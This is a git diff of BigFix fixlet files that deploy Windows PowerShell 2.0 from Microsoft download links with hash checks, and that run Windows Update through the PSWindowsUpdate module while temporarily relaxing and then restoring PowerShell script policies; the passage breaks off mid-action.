+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = "8ba702aa016e4c5aed581814647f4d55635eff5c") of file "WindowsServer2003-KB968930-x64-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+
+elseif {((name of it = "Win2003" AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = "843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3") of file "WindowsServer2003-KB968930-x86-ENG.exe" of folder "__Download"}
+	waithidden __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = "4de013d593181a2a04217ce3b0e7536ab56995aa") of file "Windows6.0-KB968930-x64.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x64.msu"}" /quiet /norestart
+
+elseif {(((name of it = "Win2008" or (name of it = "WinVista" and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = "16fd2e93be2e7265821191119ddfc0cdaa6f4243") of file "Windows6.0-KB968930-x86.msu" of folder "__Download"}
+	waithidden "{pathname of system folder & "\wusa.exe"}" "{pathname of client folder of current site & "\__Download\Windows6.0-KB968930-x86.msu "}" /quiet /norestart
+
+endif
+
+parameter "curExecutionPolicy"="{if exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then if exists value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) then (value "ExecutionPolicy" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of (if exists x64 registry then x64 registry else registry) as string) else "" else ""}"
+if {(parameter "curExecutionPolicy" = "") OR (parameter "curExecutionPolicy" = "Restricted")}
+	if {x64 of operating system}
+		regset64 "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	else
+		regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]" "ExecutionPolicy"="RemoteSigned"
+	endif
+endif]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action4410">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes
index 8c7f655d2..277668207 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows PowerShell 2.0 Available (634).bes	
@@ -1,91 +1,91 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Windows PowerShell 2.0 Available
-  ID       : 634
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-24T13:43:56
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Windows PowerShell 2.0 Available</Title>
-    <Description>Install Windows PowerShell version 2.0 </Description>
-    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
-    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
-    <Category>Update</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:29:34 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-//Windows XP and XPe
-if {((name of it = &quot;WinXP&quot;) OR (name of it = &quot;WinXPe&quot;)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
-	continue if {(size of it = 6156064 AND sha1 of it = &quot;540d661066953d76a6907b6ee0d1cd4531c1e1c6&quot;) of file &quot;WindowsXP-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
-	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
-//Windows Vista x64
-elseif {(name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
-	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
-	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
-//Windows Vista x86
-elseif {((name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
-	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
-//Windows Server 2003 x64
-elseif {((name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
-	continue if {(size of it = 10334496 AND sha1 of it = &quot;8ba702aa016e4c5aed581814647f4d55635eff5c&quot;) of file &quot;WindowsServer2003-KB968930-x64-ENG.exe&quot; of folder &quot;__Download&quot;}
-	wait __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
-//Windows Server 2003 x86
-elseif {((name of it = &quot;Win2003&quot; AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
-	continue if {(size of it = 6300960 AND sha1 of it = &quot;843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3&quot;) of file &quot;WindowsServer2003-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
-	wait __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
-//Windows 2008 x64
-elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
-	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
-	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
-//Windows 2008 x86
-elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
-	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
-	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
-	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
-endif
-//we want to be able to import modules... thus set to remotesigned if it is not set
-parameter &quot;curExecutionPolicy&quot;=&quot;{if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then if exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot; else &quot;&quot;}&quot;
-if {(parameter &quot;curExecutionPolicy&quot; = &quot;&quot;) OR (parameter &quot;curExecutionPolicy&quot; = &quot;Restricted&quot;)}
-	if {x64 of operating system}
-		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
-	else
-		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
-	endif
-endif</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action872">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about PowerShell v2.0.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Windows PowerShell 2.0 Available
+  ID       : 634
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-24T13:43:56
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Windows PowerShell 2.0 Available</Title>
+    <Description>Install Windows PowerShell version 2.0 </Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Relevance><![CDATA[NOT ( exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry ) OR ( (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1" whose (value "Install" of it as integer = 1) of registry) AND (exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version < "2.0") of registry) )]]></Relevance>
+    <Category>Update</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2011-04-21</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:29:34 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//Windows XP and XPe
+if {((name of it = &quot;WinXP&quot;) OR (name of it = &quot;WinXPe&quot;)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/E/C/E/ECE99583-2003-455D-B681-68DB610B44A4/WindowsXP-KB968930-x86-ENG.exe
+	continue if {(size of it = 6156064 AND sha1 of it = &quot;540d661066953d76a6907b6ee0d1cd4531c1e1c6&quot;) of file &quot;WindowsXP-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsXP-KB968930-x86-ENG.exe /quiet /norestart
+//Windows Vista x64
+elseif {(name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) of operating system AND TRUE}
+	download http://download.microsoft.com/download/3/C/8/3C8CF51E-1D9D-4DAA-AAEA-5C48D1CD055C/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
+//Windows Vista x86
+elseif {((name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/A/7/5/A75BC017-63CE-47D6-8FA4-AFB5C21BAC54/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
+//Windows Server 2003 x64
+elseif {((name of it = &quot;Win2003&quot; AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/B/D/9/BD9BB1FF-6609-4B10-9334-6D0C58066AA7/WindowsServer2003-KB968930-x64-ENG.exe
+	continue if {(size of it = 10334496 AND sha1 of it = &quot;8ba702aa016e4c5aed581814647f4d55635eff5c&quot;) of file &quot;WindowsServer2003-KB968930-x64-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsServer2003-KB968930-x64-ENG.exe /quiet /norestart
+//Windows Server 2003 x86
+elseif {((name of it = &quot;Win2003&quot; AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/1/1/7/117FB25C-BB2D-41E1-B01E-0FEB0BC72C30/WindowsServer2003-KB968930-x86-ENG.exe
+	continue if {(size of it = 6300960 AND sha1 of it = &quot;843dca5f32b47a3bc36cb4d7f3a92dfd2fcdddb3&quot;) of file &quot;WindowsServer2003-KB968930-x86-ENG.exe&quot; of folder &quot;__Download&quot;}
+	wait __Download\WindowsServer2003-KB968930-x86-ENG.exe /quiet /norestart
+//Windows 2008 x64
+elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/2/8/6/28686477-3242-4E96-9009-30B16BED89AF/Windows6.0-KB968930-x64.msu
+	continue if {(size of it = 35922892 AND sha1 of it = &quot;4de013d593181a2a04217ce3b0e7536ab56995aa&quot;) of file &quot;Windows6.0-KB968930-x64.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x64.msu /quiet /norestart
+//Windows 2008 x86
+elseif {(((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it)) of operating system AND TRUE}
+	download http://download.microsoft.com/download/F/9/E/F9EF6ACB-2BA8-4845-9C10-85FC4A69B207/Windows6.0-KB968930-x86.msu
+	continue if {(size of it = 34059625 AND sha1 of it = &quot;16fd2e93be2e7265821191119ddfc0cdaa6f4243&quot;) of file &quot;Windows6.0-KB968930-x86.msu&quot; of folder &quot;__Download&quot;}
+	wait __Download\Windows6.0-KB968930-x86.msu /quiet /norestart
+endif
+//we want to be able to import modules... thus set to remotesigned if it is not set
+parameter &quot;curExecutionPolicy&quot;=&quot;{if exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then if exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot; else &quot;&quot;}&quot;
+if {(parameter &quot;curExecutionPolicy&quot; = &quot;&quot;) OR (parameter &quot;curExecutionPolicy&quot; = &quot;Restricted&quot;)}
+	if {x64 of operating system}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
+	else
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;RemoteSigned&quot;
+	endif
+endif</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action872">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about PowerShell v2.0.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/kb/968929</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes b/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes
index 58e3bb28f..d0373785b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version) (26617).bes	
@@ -1,242 +1,242 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)
-  ID       : 26617
-  Author   : rdshift
-  Domain   : BESC
-  Imported : 2019-04-11T12:43:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Windows Update - Execute Windows Update via PowerShell Install-Module (PS 5.0+ version)</Title>
-    <Description><![CDATA[<P>This installs the latest Windows updates.</P>
-<P>Last tested on Windows 10 v1803 with PowerShell 5.1.&nbsp; This version requires PS 5.0+ due to module usage.</P>
-<OL>
-<LI>Checks for existing scripting policy LGPO registry item (cannot override GPO)
-<LI>If exists, back up and disable existing policy
-<LI>Install prerequisite: NuGet 2.8.5.201+
-<LI>Install Windows Update PowerShell Module v2.0.0.4 (tested, feel free to drop that requirement)
-<LI>Run Windows Update via newly added module
-<LI>Action 6 is a separate action to uninstall Windows Update PowerShell Module "PSWindowsUpdate" if you would like to scrub the environment.</LI></OL>
-<P>It will not ask questions, and not provide options - it will simply install everything it is able to install in one round.</P>
-<P>This version will NOT install Windows Feature Updates, such as Windows 10 version 1803 to version 1809.</P>
-<P>By running this task you accept the Microsoft TechNet terms of use.</P>
-<P>Module Credit Michal Gajda,&nbsp;source: <A href="https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/">https://gallery.technet.microsoft.com/scriptcenter/2d191bcd-3308-4edd-9de2-88dff796b0bc/</A></P>]]></Description>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance>x64 of operating system</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "5.0") of registry]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2018-06-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Mon, 18 Jun 2018 12:07:16 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Tue, 26 Jun 2018 19:07:42 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>Windows Update Powershell Module MichalGajda</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-ID</Name>
-      <Value>25528</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-versions-ids</Name>
-      <Value>25522,25523,25524,25527</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 11 Apr 2019 19:38:58 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates without rebooting or notifying the user.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
-parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-// Disable script protection
-if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
-endif
-
-// Disable execution policy in scope of current user (system)
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
-
-// Install PowerShell Modules from PSGallery
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
-
-// Check for and install Windows Updates
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -IgnoreReboot -Confirm:$false&quot;
-
-// Restrict execution policy
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
-
-// Re-enable script protection
-if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
-endif</ActionScript>
-    </DefaultAction>
-    <Action ID="Action27888">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to install Windows + Microsoft Updates and automatically reboot without asking to reboot.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
-parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-// Disable script protection
-if {exist (value &quot;EnableScripts&quot; of it = &quot;0&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /t REG_DWORD /d 00000001 /f
-endif
-
-// Disable execution policy in scope of current user (system)
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Unrestricted -Force&quot;
-
-// Install PowerShell Modules from PSGallery
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Install-Module -Name PSWindowsUpdate -RequiredVersion 2.0.0.4 -Force&quot;
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Import-Module -Name PSWindowsUpdate -Force&quot;
-
-// Check for and install Windows Updates
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Get-WindowsUpdate -Install -MicrosoftUpdate -AcceptAll -AutoReboot -Confirm:$false&quot;
-
-// Restrict execution policy
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -Command &quot;Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Restricted -Force&quot;
-
-// Re-enable script protection
-if {exist (value &quot;EnableScriptsbackup&quot; of it = &quot;1&quot;) of keys &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; of native registry}
-wait cmd /c reg delete &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScriptsBackup&quot; /f
-wait cmd /c reg add &quot;HKLM\Software\Policies\Microsoft\Windows\PowerShell&quot; /v &quot;EnableScripts&quot; /t REG_DWORD /d 00000000 /f
-endif</ActionScript>
-    </Action>
-    <Action ID="Action27889">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to install Windows Updates and automatically reboot without asking to reboot.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Set Powershell
